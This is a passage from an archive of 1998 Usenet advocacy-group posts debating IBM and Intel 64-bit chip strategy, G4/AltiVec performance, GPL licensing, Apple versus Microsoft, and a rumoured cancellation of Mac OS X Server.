It's a toss-up between Unix and Windows NT, and I have already picked my
winner.
> Besides, costs for OS/400 systems have come down considerably, and
> they come with database included. Low end systems can be had for under
> $10,000. And with more and more hardware being shared between RS/6000
> and AS/400 systems, OS/400 systems will likely get only cheaper.
I understand. I still don't buy the mainframe resurgence thing. Most
corporations will not forget Y2K :-)
MJP
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 20 Oct 1998 07:10:35 GMT
Organization: University of Maryland, College Park
Message-ID: <70hd1b$tgc$1@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : Anil T Maliyekke (amaliy1@uic.edu) wrote:
: : : I'm not saying it would be an easy decision for them. But if I were
: : : IBM, I would seriously consider whether or not I want to jump on
: : : the IA-64 bandwagon:
: : Intel is still just a vendor to IBM, and "supporting" Intel would still
: : be "better" than "supporting" Compaq, from IBM's perspective. This
: : IMO has ceased to be a technical merit sort of thing, just a business
: : decision.
: The Intel model threatens IBM's margins and devalues IBM's research
: and development efforts. IBM doesn't like that. Also with IA-64, some of
: the IP may be locked away through some third party patent holding company,
: so the chances of anyone creating a clone processor are slim. Thus
: if the industry adopts IA-64 on a large scale, Intel may succeed
: in creating a Windows like monopoly. Besides, IBM may be able to extract
: other concessions from Compaq that may make IBM prefer Alpha over
: IA-64, such as licensing of whatever IP necessary for IBM to cut
: lose from Compaq's hardware direction if it sees fit. Fat chance
: IBM will get similar concessions from Intel.
I'm not sure about this "3rd party patent holding company" you are
speaking of. Never heard of such a thing. IBM and Intel already has
cross licensing agreements in place, some going back as far as the
original 8088 sourcing agreement. I also don't see the "devalue"
part you are speaking of.
: : IBM now makes most all its revenue from big big iron and servicing of
: : all kinds. With big iron it matters less that the initial price of
: : entry has been lowered, but the kind of service you can provide. IBM
: : excels in that area. IMO, IBM may not even mind if Dell sells an IA-64
: : box, since Dell currently does not have the support structure to
: : support that box, and as long as IBM can grab the servigin part of the
: : equation, IBM can still make a lot of dough. (even more than the sale of
: : hardware)
: Services have about half the margin of hardware. IBM needs both
: hardware and services, as well as software, to keep its overall profits
: high.
: : : b) HP is too closely associated with Merced
: : HP would be co-developer of IA-64, that is true. However, Intel now
: : designs most of IA-64 stuff, and IBM would purchase its chips from
: : Intel.
: However, if IA-64 succeeds and offers some advantage to HP, like
: the rumored PA-RISC binary compatibility, then that puts IBM at
: a disadvantage.
So, if you were IBM, do you support a chip that a competitor has some
role in designing, and may be able to relatively easily port their
OS/apps to, Or do you support the architecture of a competitor like
Compaq. IMO, With the growth Compaq has seen in the last 6 years,
the company IBM would fear first and foremost would have to be Compaq,
not HP. HP makes workstations, but I don't recall really "big iron"
boxes out of HP. Whereas Compaq with the Tandem and Digital acquisition
Complete with the Alpha architecture will not only migrate into the
worksttion space, but big Iron as well, competing in the stratosphere
of computer hardware. Sorry, I still cannot envision the IBM-alpha
senario quite so easily.
: : IMO, the IBM-alpha story doesn't make much sense to me. IA-64 is
: : projected by everyone as the steam roller that is coming. For IBM
: : to take interest in Alpha they would be admitting that they have
: : 2 elements they lack. 1. They would like to actively resist IA-64.
: : 2. They lack the tool to do it. i.e. POWERPC is not sufficient a
: : tool to this end, and they will support another competitor's
: : product (Compaq Alpha) to do this. Again, IMO, the case for each
: : one is weak, and combined, it's even weaker.
: The issue isn't whether PowerPC is sufficient or capable of defeating
: IA-64 on UNIX. The issue is NT. IA-64 is only a steam roller if
: the Windows market jumps aboard.
This part I do not understand. IBM has said that it will port AIX over
to IA-64. If NT IA-64 is the monster you are afraid of, perhaps pushing
AIX/unified 64 bit unix is alternative you should seek, not another
chip architecture.
: : IBM may get on the bandwagon if Alpha adoption takes off, but I don't
: : see them taking a proactive role as you sugget.
: I think we'll know better what will happen by the beginning of 2000.
: I certainly don't see them doing anything at the moment.
: : I don't see IBM fighting another "jihad". OS/2 and PPC may or maynot
: : have lost money for IBM, but certainly took up a lot of resources
: : and attention that IBM could've directed elsewhere. IBM is doing
: : well now as a "solutions" company, where they can provide the full
: : range of sales and service, software and hardware. If alpha takes
: : off, I'm sure IBM will support it as well, but actively pushing
: : Alpha based boxes, I don't see that.
: The problem with OS/2 and PPC was that they were perceived as
: ways for IBM to lock customers in. IBM doesn't seem to mind
: fighting new "jihads." Certainly it has done so with a lot
: of the Java and Network Computing Initiatives.
IBM's Java and NCI aren't nearly the major initiative that an adoption
of Alpha would be. If they're supposed to be, then I guess they've
failed. I haven't seen many Java based apps, and even less with IBM's
name attached to them. IBM's NC? Haven't heard anything about that
initiative as well, except that blurb about some 603 based boxes a
couple of years back.
: : : The main reason why I wouldn't want to support Alpha, is that it
: : : may boost Compaq/Digital's other operating systems and it is
: : : a slippery slope. The best thing for IBM would be for the
: : : x86 cloners to come up with a 64bit x86 extension...
: : I *thought* that you were slamming X86's legacy code, IA-32 being a
: : 32 bit extension with prefix modifiers for 16 bit X86. 64 bit X86 ISA
: : would probably be quite displeasing to the average Computer Scientist.
: : You can't just add more and larger registers to a new ISA and maintain
: : backward compatibility, there's only so many bits in the opcode map.
: : Without remapping the bits to the opcode, you'll end up with more
: : prefixes to denote 64 bit extensions. (It doesn't mean that Intel
: : didn't think about doing a 64 bit x86 extension as you've described,
: : IIRC, they did. That's what the original "p7" project was supposed
: : to be, but it was evaluated and scratched when HP proposed the
: : alliance, and pushed for a brand new ISA)
: I never said it would be pretty, but I'm sure it could be done.
: Sure I dislike x86 code, but in the Windows market it could
: sell well if backwards compatibility were achieved with a lot less
: hardware. Of course it would depend on the cloners gaining additional
: influence...
the "Windows market" doesn't need 64 bit computing. If I take the
"Windows Market" to mean the current IA-32 market. At this point in
history, certainly it will go without Intel's blessing, a 64 bit x86
style ISA extension to IA-32 would be a solution in search of a problem.
First and foremost, you would need to bring Microsoft on board, since
you want them to support this 64 bit x86 in Windows. Secondly, you
would need to make this 64 bit extension mode super fast. Fast enough
to compete against Alpha and/or IA-64 in earning the database server,
anything-that-needs-a-large-address-space program dollar. For that
market, superfast X86 binary compatibility isn't going to be number 1,
2 or even 3 on the MIS manager's shopping list. For that need, Merced
will provide the hardware based IA-32 binary compatibility.
(This brings up another idea. We know that Merced will have X86 binary
compatibility, but will McKinley? I am guessing no. Any guesses?)
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: dblake@209-142-19-207.oak.inreach.net (Dave Blake)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net> <362A6D75.365BD954@nstar.net>
Message-ID: <slrn72l91h.2eb.dblake@209-142-19-207.oak.inreach.net>
Date: Mon, 19 Oct 1998 02:29:26 GMT
NNTP-Posting-Date: Sun, 18 Oct 1998 19:29:26 PDT
Organization: InReach Internet
Michael J. Peck <mjpeck@nstar.net> wrote:
>Dave Blake wrote:
>
>> Linux has better SMP than Solaris for the number of processors
>> in the development tree (I think it is 8).
>
>Where is this info? At the "Future of Linux" conference I believe Linus
>himself said that Linux SMP had a ways to go before it matched vendor
>quality.
That was then....
I've seen profiles of linux boxes up to 4 processors with
much nicer scaling than vendor implementations.
But, they don't support nearly as many processors.
And, the stable release is not yet out, so final judgment
will wait.
>> I think the equivalent statement is
>> In most cases, free software is the fruit of effort by people for
>> whom a commercial product just didn't match their needs.
>> For example, INN. Sendmail. [snip]. Apache. TeX and LaTeX and
>> LyX and kLyX.
>> As an example of ONE of those, Knuth invented TeX because commercial
>> word processors have a really hard time displaying equations with
>> Greek symbols. Now, LaTeX is the standard for document creation
>> worldwide for mathematics. And you know what - it really does make
>> equation displaying a breeze. LaTeX was created from TeX. LyX was
>> the addition of more functionality - WYSIWYG. kLyX added yet more
>> functionality with a widget set.
>Yet KLyX's Web page says that KLyX is not a word processor; it's a
>typesetting app. The comparison is not valid. There are any number of
>commercial equation editors that could be compared, if that's the real
>value of LaTeX.
kLyX is copying lines from TeX, which is a true typesetting language.
kLyX is an implementation of a typesetting language with a user
interface and WYSIWYG qualities and pretty widgets. I think an end
user would have a hard time telling the conceptual difference between
it and a word processor.
I have used the equation editors in Word and WP, and they
don't compare. Not even slightly close.
There is a reason all the math books are currently written in
some incarnation of TeX (LaTeX, LyX, TeX...). It is by far
the best tool for the job. And it is free.
>> It is reverse engineering someone else's idea and adding functionality.
>> That is the essence of EVERY new product created that does anything.
>> Putting it in the GPL means that when someone else wants to add
>> further functionality, they don't have to start by re-inventing
>> the wheel.
>
>Putting software under GPL means that it's no good to anyone who wants
>to protect their derivative. So-called "unencumbered software", like
>PNG, is a totally different proposition, and it's used by many
>commercial vendors. The GPL paradigm was invented under the notion that
>free software is *morally* superior, hence the "viral" nature of GPL.
The GPL forces people that modify the code to keep it open.
If someone wants to be proprietary in their intellectual
property, they still have the reverse engineer option.
Basically, it is like RMS saying - I have the copyright for
Emacs. I spent a lot of time and effort on it so that others would
be able to start where I left off, if they so choose. They just
also have to keep it open. If they don't like it, they can write
their own text editor/lisp interpreter/developing environment and
license it however they like.
The LGPL is for cases where someone would like to use the
functionality of a GPL library without having their program
be open source also.
You seem to be advocating public domain free software instead
of GPL, more like Larry Wall than RMS.
>If commercial software is at times inadequate, the solution is hardly to
>build a growing body of software that *cannot* be used to build
>commercial applications, unless you actually believe that there is an
>imperative to drive commercial software from the industry. If that's
>your bag, you've got the same problem RMS has.
This is not a problem. He who writes the code has every right to
choose the licensing. If you don't like it don't use it.
>> Free software
>> dominates the networking environment. Apache/linux powers web
>> servers. Sendmail is the world's email postal service.
>"Dominates"? I don't think so. It's funny how Apache and Sendmail are
>the perennial examples; most FSF advocates are hard-pressed to come up
>with many others. Every time I'm told about the wonders of free software
>I'm told "Apache this, Sendmail that". Of course! And what else?
I was referring to the "networking environment."
Web serving is dominated by Apache/Linux.
Email delivery by sendmail (and various pop/imap servers).
Usenet servers are dominated by INN ( and at one time
readers by rn).
That is a whole lot of the networking environment run on
open software.
Free software tends to dominate in cases where good programmers
found commercial software inadequate. That is clearly not all cases,
although I think the software world is moving in that direction.
The more the net grows, the more potential there is for
excellence in open software (as it becomes easier to communicate
with others).
DB
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
Message-ID: <F14q8r.C47@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: My ISP puts something here if I don't.
References: <F138sH.6E6@T-FCN.Net> <B251257B-83E3E@206.165.43.67>
Mime-Version: 1.0
Date: Tue, 20 Oct 1998 14:14:51 GMT
In <B251257B-83E3E@206.165.43.67> "Lawson English" wrote:
> Excuse. I was under the impression that enhanced QuickDraw was part of the
> Carbon API. It is not?
Sigh. Let me rephrase your question - do you think QuickTime is a part
of the Carbon API?
Maury
From: stone@stoneentertainment.com (Kevin Stone)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Mon, 19 Oct 1998 22:06:10 -0600
Organization: Stone Entertainment
Message-ID: <stone-1910982206110001@rc-pm3-2-17.enetis.net>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <70g273$knp@newsb.netnews.att.com> <70g875$l0i$1@piglet.cc.uic.edu>
In article <70g875$l0i$1@piglet.cc.uic.edu>, amaliy1@uic.edu (Anil T
Maliyekke) wrote:
> gupta@knim.tm.tta.moc-mirrorafter@ wrote:
(snip)
> : Supposedly, the SPECfp95 on the 400 MHz G4 is up 50% from the 366 MHz G3.
> : (That would put the SPECfp95 around 15).
>
> : -arun gupta
>
> That still depends what they were comparing 400MHz G4 to.
Re-read the post. Initial testing of SPECfp95 on a prototype 400MHz G4 is
up 50% compared to a 366MHz G3 750.
--
-Kevin Stone
Stone Entertainment
www.StoneEntertainment.com
(no email please)
From: Sander Vesik <sander@haldjas.folklore.ee>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 20 Oct 1998 07:04:39 GMT
Organization: Eesti Keele Instituut/Eesti Rahvaluule Arhiiv
Message-ID: <908867081.340208@haldjas.folklore.ee>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <709a8k$2rlo$1@piglet.cc.uic.edu> <F1306A.3AF@T-FCN.Net>
Mime-Version: 1.0
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NNTP-Posting-Date: 20 Oct 1998 07:04:39 GMT
Cache-Post-Path: haldjas.folklore.ee!unknown@localhost.folklore.ee
In comp.sys.powerpc.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <709a8k$2rlo$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> > Apparently the G4 will have the option of using a 128 bit system
> > SMP bus (as well as a wider 128 bit cache interface).
> Oh, well _that's_ certainly interesting. Still I wonder how much extra
> performance can be gained without also moving to a newer memory subsystem
> like RAMBUS (or that clone who's name I forget). You can get a bit from
> interleaving current DRAMs, but do you think a bigger system bus will
> really help much in "standard" machines?
Obviously a 128 bit bus will give you 2x the bandwidth of the 64 bit bus.
RDRAM is all about bandwidth even at losing latency. It is *absolutely not*
clear that RDRAM wins anything at all compared to say DDR SDRAM.
Indeed 128bit 100Mhz SDRAM gives you the same bandwidth than a single
RDRAM bus. But SDRAM has better latency -> SDRAM wins.
> > use the 60X bus, so it can be used on current systems. So AltiVec
> > should not be slowed down.
> I don't understand - do you mean in the case of a 128bit system bus?
> > My question is whether a double
> > data rate capability will be added. 3.2 GB/s sustainable
> > bandwidth would be pretty impressive.
> Do you mean a 2x mode, or simply a non-1/2 mode?
> Maury
--
Sander
There is no love, no good, no happiness and no future -
all these are just illusions.
Message-ID: <362AB758.F311A1BD@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
References: <70e9kf$20ju$1@piglet.cc.uic.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sun, 18 Oct 1998 23:52:24 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 22:51:52 -0500
Anil T Maliyekke wrote:
> Seems a bit bandwidth intensive, especially if you are talking
> about dragging and dropping multiple files or putting large graphic
> objects into the clipboard.
The server is the broker between the two programs. Some entity has to
maintain the clipboard and respond to requests for storage/retrieval.
Is there another way to accomplish the same thing? I'm all ears.
> Pervasive computing isn't going to be achieved with NT or UNIX.
> Pervasive computing means more devices everywhere, many of which
> will use light-weight OSes.
Only by narrow definitions of "pervasive computing". Unix itself is a
highly pervasive computing environment.
> Anyway in terms of their core IT infrastructure, companies are looking for
> fewer machines. That means recentralization. That's why Sun
> and HP are advertising their big SMPs as being like mainframes.
In some enterprises, yes, that's true. In the opposite direction,
however, there is a tendency to replace lightweight, functional machines
with NT workstations and servers. Moreover, if thin clients begin to
change the weight balance on the desktop, the servers to which these
clients connect are not likely to be mainframes.
> Year 2K is an application thing, not a mainframe thing. Plenty
> of non-mainframe hardware needs updating. Besides AS/400's
> are minicomputers.
I didn't say it made sense. What I'm saying is that mainframes are
perceived as the cause of the Y2K problem, and in certain narrow ways,
they are.
MJP
From: Toon Moene <toon@moene.indiv.nluug.nl>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 20 Oct 1998 19:43:49 GMT
Organization: Moene Computational Physics, Maartensdijk, The Netherlands
Message-ID: <70ip5l$f35$2@newnews.nl.uu.net>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <70cesn$26p$2@news.idiom.com> <adtF13LHK.1sF@netcom.com> <slrn72o2ga.l9.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Anthony D. Tribelli posted the following to comp.sys.mac.advocacy:
> >: GCC has code generators available for more processors than any other
> >: compiler, and its code quality is rarely exceeded by anything but
> >: special-purpose, single-target compilers produced by the chip
manufacturer.
> >A myth, the quality of gcc code is spotty, good for some targets and
> >mediocre for others. Try commercial compilers for Pentium and PowerPC.
> Well, those commercial compilers tend to be single-target, as the original
> poster mentioned. That's not to say that gcc output for PowerPC doesn't
> blow goats, though.
Well, don't use PowerPC's then ! (or C):
http://cmp.ameslab.gov/cmp/clusters/apc_comp_perf.html
--
Toon Moene (mailto:toon@moene.indiv.nluug.nl)
Saturnushof 14, 3738 XG Maartensdijk, The Netherlands
Phone: +31 346 214290; Fax: +31 346 214286
g77 Support: mailto:fortran@gnu.org; egcs: mailto:egcs-bugs@cygnus.com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 20 Oct 1998 20:25:54 GMT
Organization: Primenet (602)416-7000
Message-ID: <70irki$1an$2@nnrp02.primenet.com>
References: <01bdfc5b$c2fd8520$06387880@chewy>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
: I wonder about all those developers creating YB applications but who
: cannot generate any revenues because of the OS never leaves the beta
: stage?
Buy an alarm clock ... you are sleeping way too late.
John
Message-ID: <362CFA3E.3420@betabreakers.com>
Date: Tue, 20 Oct 1998 14:01:50 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The vast microsoft conspiricy (Journalism)
References: <--1910982214370001@port36.lightlink.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
-@-._ wrote:
>
> This messege is somewhat rushed, as my time is fleeting, but its
> content should be very informative. I provides evidence of further
> efforts of the Microsoft Imperium to implant themselves within the deep
> consious and sub consious of the Worlds people.
>
> The following article appeared in the daily newspaper of a fairly small
> upstate New York urban center, on Oct. 12. The editiorial was not
> attributed to anyone, or any organization. It was entitled "Make Oct. 12
> Explorers day"
>
> The editiorial then droned on about how the American Holiday should be
> renamed to celebrate figures like John Glenn, de Gama, Lewis and Clark,
> Sacagawea, Lindbergh, Earhart, Armstrong, Salk, Curie. Then, in another
> sentence, deviod of any other names, was the name Bill Gates.
>
> "It could be about pioneers like Bill Gates, who explored the
> possibilities of computers and changed the world in the process..."
>
> Now, the term ***Explorers*** (Note the term 'explorers' Explorers.
> Explorers'. Internet Explorers') day becomes slightly more huanting.
> Clearly, Bill Gates is being portrayed as one of humanities great fathers,
> and his foul concoctions as chariots leading Earth to glory. This is all
> in step with MS' goals of having hunams think of it as a loving and
> nurturing, and something nessacery to the survival of humanity. This in
> turn will lead to Microsoft love, and finally, destruction of government
> property by crazed microsoft mobs. This will program will leave the weak
> minded without the defenses needed when Microsoft starts the crackdowns.
>
> Not entering my email adress or name should give me an extra five or so
> minutes to escape.
>
> Good bye.
>
> --
> Remove "MANGO" from email adress to contact me
You realy need to get out more eh?
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 19 Oct 1998 05:32:42 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-1810982237520001@147.los-angeles-09.ca.dial-access.att.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net> <ckoller-1810981638320001@31.los-angeles-09.ca.dial-access.att.net> <362A8003.C1302C38@nstar.net>
In article <362A8003.C1302C38@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Craig Koller wrote:
>
> > Where was the MS near-death experience? Are people simply blinding
> > themselves to the obvious? What Apple was doing before *DID NOT WORK*.
> > They *had* to make changes or die. Now this could have been done by
> > Amelio, but ultimately it was done by Jobs, probably the only one person
> > with the power to do so.
>
> It's okay for Apple to act this way because they almost died? Huh?
First off, it's not like Apple's stomping little puppies with soccer
cleats, it's retargetting its OS strategy, while streamlining the product
line. Big whoop. If you don't get it, then don't buy it. It's that simple.
Near death is certainly not carte blanche to wreak havoc (the way you seem
to be painting it) but it does make for some drastic decisions. That's all
this is, and so far, it's turning out to be the wisest set of moves we've
seen from Cupertino in a long, long while. And it has little or nothing to
do with the kind of stuff we're seeing from Redmond.
>
> > Microsoft is not restructured and remains far from the brink of any major
> > catastrophe (business-wise that is - legally, we'll leave it to the DOJ to
> > determine whether they made illegal moves to bolster their current
> > position) but should they dance too close to the "Big Buh-Bye" yes, of
> > course I would expect them to alter their course.
> >
> > There *is* no comparison between Apple and Microsoft in this regard.
>
> Man, all I'm asking is "If what you're getting is no better than
> Microsoft, why should Apple stay alive in the first place?"
Who *ever* said that? What we're getting -bottom line - is a product we
prefer handily over MS product. And at the same time Wintel FUDmeisters
want to throw out this bogus argument that Steve Jobs is part of some
conspiracy to perpetuate Apple's crack-the-whip OS strategy. The guy's
been on the job for ONE YEAR, and he did the smart by rebuilding from
MacOS *UP*, rather than continuing to pull the OSBORNE that Spindler and
Amelio did, devaluing MacOS with Copeland/Rhapsody and not being able to
deliver...thus leaving Mac users with a perceived turd.
Not too smart. The ramifcations of such idiocy have proven more costly
than many companies would be able to afford.
Unlike his predecessors, Jobs went back to square one. Mac users have
reason to be happy about this, and so do developers. It marks a return to
stability, to priorities being back in the right order. It's about MacOS.
Let me repeat that. IT'S ABOUT MACOS.
Now I get
> this, about how Apple must act unethically just to stay alive. I guess
> the staying-alive part has self-evident importance. I don't know how I
> missed it.
Unethically? Cutting unprofitable products, methods and strategies, is
unethical? How in God's name can you compare this to say, the SUN,
Netscape, Stak, CP/M-Caldera, AOL, Quicktime, Intuit dance of 97 Class
Action Suits that MS is currently in the middle of?
Bill Gates has had two uninterrupted decades to establish his MO - and
it's to kill competition that makes MS mediocre alternatives look bad.
Jobs ticked off some Apple ][ users with the Mac, even though Apple sold
A][ software until several years ago... And now he's been at the (interim)
helm for a year. But with Apple, NeXT, and now back with Apple, it's
always been about making the best product. And to expect this principle to
bare fruit in 12 months is a tad unfair - in 24 we'll have the completely
new architecture and OS versus gahdknowswhat's going to come out of MS by
then - if at all (do you honestly believe Win9X users are going to be
squeezed into the NT sphere like Gates has outlined ... that's gonna be
extremely funny).
So, let's recap: Killing competition vs. making the best products. Uh,
I'll opt for the latter...
>
> MJP
Date: Tue, 20 Oct 1998 10:16:30 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <christian.bau-2010981016300001@christian-mac.isltd.insignia.com>
References: <F130B3.3D0@T-FCN.Net> <B250BE09-2CA4B@206.165.43.49>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <B250BE09-2CA4B@206.165.43.49>, "Lawson English"
<english@primenet.com> wrote:
> Of course, it may be that AltiVec renders most of these points obsolete. I
> don't recall how conversion between AltiVec fixed and float goes. It still
> touches memory during the process, doesn't it?
No. Basically, there are two instructions
vector long l;
vector float f;
f = (float) l / pow (2.0, k); // for any constant 0 <= k < 32
l = (long) (f * pow (2.0, k)); // for any constant 0 <= k < 32
I would have liked an instruction that converts two float vectors into one
vector of 16 bit numbers, though.
From: "Sung Ho Kim" <sk68@cornell.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: 20 Oct 1998 21:29:31 GMT
Organization: Cornell University
Sender: sk68@cornell.edu (Verified)
Message-ID: <01bdfc8a$0772eaa0$4366ec84@bigred.cit.cornell.edu>
References: <70ipmn$osd@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ wrote in article
<70ipmn$osd@newsb.netnews.att.com>...
> A VNUNET (UK) article on the recent Microprocessor Forum
> notes that Intel is downplaying its first 64-bit EPIC processor,
> Merced and emphasizing its successor, McKinley.
>
> Intel is reported to have made it clear that IA-64 will not
> be significantly faster than IA-32, until McKinley, in late 2001.
> (IA-32 will be increasing in speed as well, with Foster being
> as fast as Merced).
>
> McKinley will execute IA-64 binaries twice as fast as Merced.
> However, "it now emerges that users will not only need to
> recompile their applications to take advantage of Merced's
> new functionality, but they will also need to recompile them
> for McKinley".
>
> -arun gupta
>
So what's your point?
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: 20 Oct 1998 19:52:55 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70ipmn$osd@newsb.netnews.att.com>
Originator: gupta@tlctest
A VNUNET (UK) article on the recent Microprocessor Forum
notes that Intel is downplaying its first 64-bit EPIC processor,
Merced and emphasizing its successor, McKinley.
Intel is reported to have made it clear that IA-64 will not
be significantly faster than IA-32, until McKinley, in late 2001.
(IA-32 will be increasing in speed as well, with Foster being
as fast as Merced).
McKinley will execute IA-64 binaries twice as fast as Merced.
However, "it now emerges that users will not only need to
recompile their applications to take advantage of Merced's
new functionality, but they will also need to recompile them
for McKinley".
-arun gupta
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sun, 18 Oct 1998 23:46:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1810982346430001@1cust173.tnt1.santa-barbara.ca.da.uu.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6vopcb$1p8@news1.panix.com>, sal@panix.com wrote:
> I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
> to ship with it. This statement was made by a WO guy at Apple I know.
Good, so he can confirm that the bellow is absolutely totally false?
Mac OS X Server Cancelled?
by Don Crabb, doncrabb@maccentral.com
Contributing Editor and Columnist
October 18, 1998, 3:00 p.m. ET
According to several Apple customers who attended the Apple
annual report press conference in
Vienna, Austria on Friday, October 16, the Mac OS X 1.0
Server has been cancelled: The presentation
was made by the CEOs of Apple Austria, Walter Scheuch, and
Germany and DACH (Germany,
Austria and Switzerland), Peter Dewald.
These sources noted that the CEOs "presented an OS roadmap
for 1999, with a Mac OS X Beta in Q1
and a Q3/4 release of Mac OS X 1.0." When different Apple
representatives were asked about the
availability of the Mac OS X Server 1.0 that was supposed
to ship this quarter, they were told "this
project was internally cancelled already but that there was
no official statement yet."
I have been unable to contact any Apple senior managers
over the weekend to confirm or deny this
story, but I hope to have a definitive word on Monday,
October 19, from Apple in Cupertino.
Let's hope this story simply represents confusion between
the beta's of Mac OS X and the actual Mac
OS X 1.0 Server, rather than a real decision by Apple to
drop an absolutely critical piece of system
software.
--
sucky sucky, $10.
Cartman as a vietnamese prostitute
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sun, 18 Oct 1998 23:45:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1810982345300001@1cust173.tnt1.santa-barbara.ca.da.uu.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
